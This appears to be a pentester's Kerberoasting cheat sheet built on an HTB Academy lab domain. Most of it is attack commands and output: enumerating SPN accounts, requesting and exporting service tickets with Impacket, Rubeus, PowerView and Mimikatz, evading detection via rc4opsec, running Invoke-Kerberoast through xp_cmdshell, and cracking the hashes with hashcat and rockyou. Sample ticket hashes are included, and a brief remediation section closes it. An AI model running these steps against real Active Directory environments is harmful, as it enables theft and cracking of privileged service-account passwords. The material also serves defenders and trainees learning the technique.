Kerberoast

$krb5tgs$23$*, an RC4 (type 23) encrypted ticket

$krb5tgs$18$* AES-256 (Type 18)

NXC

nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt

Kerberoasting | NetExec

Impacket

List SPN Account

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                           Name               MemberOf                                                                                  PasswordLastSet             LastLogon  Delegation 
---------------------------------------------  -----------------  ----------------------------------------------------------------------------------------  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local          BACKUPAGENT        CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:15:40.842452  <never>               
sts/inlanefreight.local                        SOLARWINDSMONITOR  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:14:48.701834  <never>               
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:09:46.326865  <never>               
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:10:06.545598  <never>               
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:13:31.639334  <never>               
adfsconnect/azure01.inlanefreight.local        adfs               CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never> 

Request all TGS

$ GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                           Name               MemberOf                                                                                  PasswordLastSet             LastLogon  Delegation 
---------------------------------------------  -----------------  ----------------------------------------------------------------------------------------  --------------------------  ---------  ----------
backupjob/veam001.inlanefreight.local          BACKUPAGENT        CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:15:40.842452  <never>               
sts/inlanefreight.local                        SOLARWINDSMONITOR  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:14:48.701834  <never>               
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:09:46.326865  <never>               
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                        2022-02-15 17:10:06.545598  <never>               
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                       2022-02-15 17:13:31.639334  <never>               
adfsconnect/azure01.inlanefreight.local        adfs               CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>               



$krb5tgs$23$*BACKUPAGENT$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/BACKUPAGENT*$790ae75fc53b0ace5daeb5795d21b8fe$b6be1ba275e23edd3b7dd3ad4d711c68f9170bac85e722cc3d94c80c5dca6bf2f07ed3d3bc209e9a6ff0445cab89923b26a01879a53249c5f0a8c4bb41f0ea1b1196c322640d37ac064ebe3755ce888947da98b5707e6b06cbf679db1e7bbbea7d10c36d27f976d3f9793895fde20d3199411a90c528a51c91d6119cb5835bd29457887dd917b6c621b91c2627b8dee8c2c16619dc2a7f6113d2e215aef48e9e4bba8deff329a68666976e55e6b3af0cb8184e5ea6c8c2060f8304bb9e5f5d930190e08d03255954901dc9bb12e53ef87ed603eb2247d907c3304345b5b481f107cefdb4b01be9f4937116016ef4bbefc8af2070d039136b79484d9d6c7706837cd9ed4797ad66321f2af200bba66f65cac0584c42d900228a63af39964f02b016a68a843a81f562b493b29a4fc1ce3ab47b934cbc1e29545a1f0c0a6b338e5ac821fec2bee503bc56f6821945a4cdd24bf355c83f5f91a671bdc032245d534255aac81d1ef318d83e3c52664cfd555d24a632ee94f4adeb258b91eda3e57381dba699f5d6ec7b9a8132388f2346d33b670f1874dfa1e8ee13f6b3421174a61029962628f0bc84fa0c3c6d7bbfba8f2d1900ef9f7ed5595d80edc7fc6300385f9aa6ce1be4c5b8a764c5b60a52c7d5bbdc4793879bfcd7d1002acbe83583b5a995cf1a4bbf937904ee6bb537ee00d99205ebf5f39c722d24a910ae0027c7015e6daf73da77af1306a070fdd50aed472c444f5496ebbc8fe961fee9997651daabc0ef0f64d47d8342a499fa9fb8772383a0370444486d4142a33bc45a54c6b38bf55ed613abbd0036981dabc88cc88a5833348f293a88e4151fbda45a28ccb631c847da99dd20c6ea4592432e0006ae559094a4c546a8e0472730f0287a39a0c6b15ef52db6576a822d6c9ff06b57cfb5a2abab77fd3f119caaf74ed18a7d65a47831d0657f6a3cc476760e7f71d6b7cf109c5fe29d4c0b0bb88ba963710bd076267b889826cc1316ac7e6f541cecba71cb819eace1e2e2243685d6179f6fb6ec7cfcac837f01989e7547f1d6bd6dc772aed0d99b615ca7e44676b38a02f4cb5ba8194b347d7f21959e3c41e29a0ad422df2a0cf073fcfd37491ac062df903b77a32101d1cb060efda284cae727a2e6cb890f4243a322794a97fc285f04ac6952aa57032a0137ad424d231e15b051947b3ec0d7d654353c41d6ad30c6874e5293f6e25a95325a3e164abd6bc205e5d7af0b642837f5af9eb4c5bca9040ab4b999b819ed6c1c4645f77ae45c0a5ae5fe612901c9d639392eaac830106aa249faa5a895633b20f553593e3ff01a9bb529ff036005ec453eaec481b7d1d65247abf62956366c0874493cf16da6ffb9066faa5f5bc1db5bbb51d9ccadc6c97964c7fe1be2fb4868f40b3b59fa6697443442fa5cebaaed9db0f1cb8476ec96bc83e74ebe51c025e14456277d0a7ce31e8848d88cbac9b57ac740f4678f71a300b5f50baa6e6b85a3b10a10f44ec7f708624212aeb4c60877322268acd941d590f81ffc7036e2e455e941e2cfb97e33fec5055284ae48204d
$krb5tgs$23$*SOLARWINDSMONITOR$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/SOLARWINDSMONITOR*$993de7a8296f2a3f2fa41badec4215e1$d0fb2166453e4f2483735b9005e15667dbfd40fc9f8b5028e4b510fc570f5086978371ecd81ba6790b3fa7ff9a007ee9040f0566f4aed3af45ac94bd884d7b20f87d45b51af83665da67fb394a7c2b345bff2dfe7fb72836bb1a43f12611213b19fdae584c0b8114fb43e2d81eeee2e2b008e993c70a83b79340e7f0a6b6a1dba9fa3c9b6b02adde8778af9ed91b2f7fa85dcc5d858307f1fa44b75f0c0c80331146dfd5b9c5a226a68d9bb0a07832cc04474b9f4b4340879b69e0c4e3b6c0987720882c6bb6a52c885d1b79e301690703311ec846694cdc14d8a197d8b20e42c64cc673877c0b70d7e1db166d575a5eb883f49dfbd2b9983dd7aab1cff6a8c5c32c4528e798237e837ffa1788dca73407aac79f9d6f74c6626337928457e0b6bbf666a0778c36cba5e7e026a177b82ed2a7e119663d6fe9a7a84858962233f843d784121147ef4e63270410640903ea261b04f89995a12b42a223ed686a4c3dcb95ec9b69d12b343231cccfd29604d6d777939206df4832320bdd478bda0f1d262be897e2dcf51be0a751490350683775dd0b8a175de4feb6cb723935f5d23f7839c08351b3298a6d4d8530853d9d4d1e57c9b220477422488c88c0517fb210856fb603a9b53e734910e88352929acc00f82c4d8f1dd783263c04aff6061fb26f3b7a475536f8c0051bd3993ed24ff22f58f7ad5e0e1856a74967e70c0dd511cc52e1d8c2364302f4ca78d6750aec81dfdea30c298126987b9ac867d6269351c41761134bc4be67a8b7646935eb94935d4121161de68aac38a740f09754293eacdba7dfe26ace6a4ea84a5b90d48eb9bb3d5766827d89b4650353e87d2699da312c6d0e1e26ec2f46f3077f13825764164368e26d58fc55a358ce979865cc57d4f34691b582a3afc18fe718f8b97c44d0b812e5deeed444d665e847c5186ad79ae77a5ed6efab1ed9d863edb36df1a5cd4abdbf7f7e872e3d5fa0bf7735348744d4fc048211c2e7973839962e91db362e5338da59bc0078515a513123d6c5537974707bdc303526437b4a4d3095d1b5e0f2d9db1658ac2444a11b59ddf2761ce4c1e5edd92bcf5cbd8c230cb4328ff2d0e2813b4654116b4fda929a38b69e3f9283e4de7039216f18e85b9ef1a59087581c758efec16d948accc909324e94cad923f2487fb2ed27294329ed314538d0e0e75019d50bcf410c7edab6ce11401adbaf5a3a009ab304d9bdcb0937b4dcab89e90242b7536644677c62fd03741c0b9d090d8fdf0c856c36103aedfd6c58e7064b07628b58c3e086a685f70a1377f53c42ada3cb7bb4ba0a69085dec77f4b7287ca2fb2da9bcbedc39f50586bfc9ec0ac61b687043afa239a46e6b20aacb7d5d8422d5cacc02df18fea3be0c0aa0d83e7982fc225d9e6a2886dc223f6a6830f71dabae21ff38e1722048b5788cd23ee2d6480206df572b6ba2acfe1a5ff6bee8812d585eeb4bc8efce92fd81aa0a9b57f37bf3954c26afc98e15c5c90747948d6008c80b620a1ec54ded2f3073b4b09ee5cc233bf7368427a6af0b1cb1276ebd85b45a30

<SNIP>

Request a single TGS

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

Crack

hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt 

Hashes

Windows

User accounts used as Service accounts

CMD - Built In setspn

C:\htb> setspn.exe -Q */*

AD Module

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

PowerView

Get-DomainUser -SPN

TGS for one user using .NET classes

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"

PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

All tickets

PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Mimikatz

Mimikatz

Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
   Client Name       : htb-student @ INLANEFREIGHT.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
<SNIP>
Ys6KmIFpubCAqyQcoRUbE0lOTEFORUZSRUlHSFQuTE9DQUyiGDAWoAMCAQGhDzAN
GwtodGItc3R1ZGVudKMHAwUAQKEAAKURGA8yMDIyMDIyNDIzMzYyMlqmERgPMjAy
MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi

<SNIP>

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files

Remove new lines and white space

$ echo "<base64 blob>" |  tr -d \\n 

doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1TUUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIErQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TGxvUkr+5caNrPy2YHKRogzfsO8UQFU1anKW4ztEB1S+f4d1SsLkhYNI4q67cnCy00UEf4gOF6zAfieo91LDcryDpi1UII0SKIiT0yr9IQGR3TssVnl70acuNac6eCC+Ufvyd7g9gYH <SNIP>

Place to kirbi file

cat encoded_file | base64 -d > sqldev.kirbi

Crack

python2.7 kirbi2john.py sqldev.kirbi

This will create a file called crack_file.

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt 

Hashes

You can also crack the .kirbi ticket directly

• Check if the ticket has been granted

klist.exe

• Export all tickets using Mimikatz

Invoke-Mimikatz -Command '"kerberos::list /export"'

• Crack the Service account password

python.exe.\tgsrepcrack.py.\10k-worst-passwords.txt'.\2-40a10000-studentuser@USSvc~serviceaccount-US.TECHCORP.LOCAL.kirbi'

kerberoast/tgsrepcrack.py at master · nidem/kerberoastGitHub

PowerView

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa

Target specific user

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

SamAccountName       : sqldev
DistinguishedName    : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001
                       376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177
                       <SNIP>

Export to CSV file

PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Rubeus

List Kerberoast stats

Rubeus.exe kerberoast /stats

Request a TGS

Rubeus.exe kerberoast /user:svcadmin /simple

Avoid detection - Kerberoastable account that only support RC4_HMAC

Rubeus.exe kerberoast /stats /rc4opsec
Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec

All possible accounts

Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast.txt

PS C:\htb> .\Rubeus.exe kerberoast /stats

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] Listing statistics about target users, no ticket requests being performed.
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 9


 ------------------------------------------------------------
 | Supported Encryption Type                        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                                 | 7     |
 | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2     |
 ------------------------------------------------------------

 ----------------------------------
 | Password Last Set Year | Count |
 ----------------------------------
 | 2022                   | 9     |
 ----------------------------------

PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'

[*] Total kerberoastable users : 3


[*] SamAccountName         : backupagent
[*] DistinguishedName      : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : backupjob/veam001.inlanefreight.local
[*] PwdLastSet             : 2/15/2022 2:15:40 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/[e-mail]*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57286F1B1E86CD16CB3266827E2BE2A151EC5845DCC59DA1A39C1BA3784BA8502A4340A90AB1F8D4869318FB0B2BEC2C8B6C688BD78BBF6D58B1E0A0B980826842165B0D88EAB7009353ACC9AD4FE32811101<SNIP>

PS C:\htb> .\Rubeus.exe kerberoast /user:testspn /nowrap

/tgtdeleg flag to specify that we want only RC4 encryption when requesting a new service ticket

PS C:\htb> .\Rubeus.exe kerberoast /tgtdeleg /user:testspn /nowrap

This does not work against a Windows Server 2019 Domain Controller, regardless of the domain functional level

Empire - Invoke-Kerberoast

https://raw.githubusercontent.com/EmpireProject/Empire/refs/heads/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Invoke-Kerberoast - PowerSploit

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity svcadmin

SQL (hacker  dbo@master)> xp_cmdshell powershell -c import-module c:\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat

SharpADWS

GitHub - wh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).GitHub

C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*]     kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*]     WWW/win-iisserver.corp.local/IIS
[*]     TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*]     TERMSERV/WIN-SERVER2026

Roast In The Middle

GitHub - Tw1sm/RITM: Roast in the MiddleGitHub

Remediation

gMSA:

gMSA

https://www.nccgroup.com/us/research-blog/defending-your-directory-an-expert-guide-to-combating-kerberoasting-in-active-directory/www.nccgroup.com

The following security controls should be implemented to mitigate Kerberoasting:

• Minimise the number of user objects configured with SPNs. This reduces the attack surface for malicious actors to execute Kerberoasting.

• Create user objects with SPNs as group Managed Service Accounts (gMSAs). gMSAs have automatic password rotation, a 120-character password and simplified SPN management. These security features protect the password from being cracked, reducing the likelihood of successful Kerberoasting. However, if creating user objects with SPNs as gMSAs is not feasible, for example, it is a non-Windows based system hosting the service, or the application does not fully support gMSAs, such as Microsoft’s System Center Configuration Manager, set a minimum 30-character password that is unique, unpredictable and managed.

• Assign user objects with SPNs the minimum privileges necessary to perform their functions and make sure they are not members of highly privileged security groups, such as the Domain Admins security group. If malicious actors successfully execute Kerberoasting and crack the TGS ticket to reveal the cleartext password, minimising the privileges assigned to the user object will reduce the impact and limit the access gained by the malicious actor.

https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-hardening/detecting-and-mitigating-active-directory-compromises?s=03

Resources

Kerberoastinghackndo

https://www.redsiege.com/wp-content/uploads/2020/08/Kerberoastv4.pdf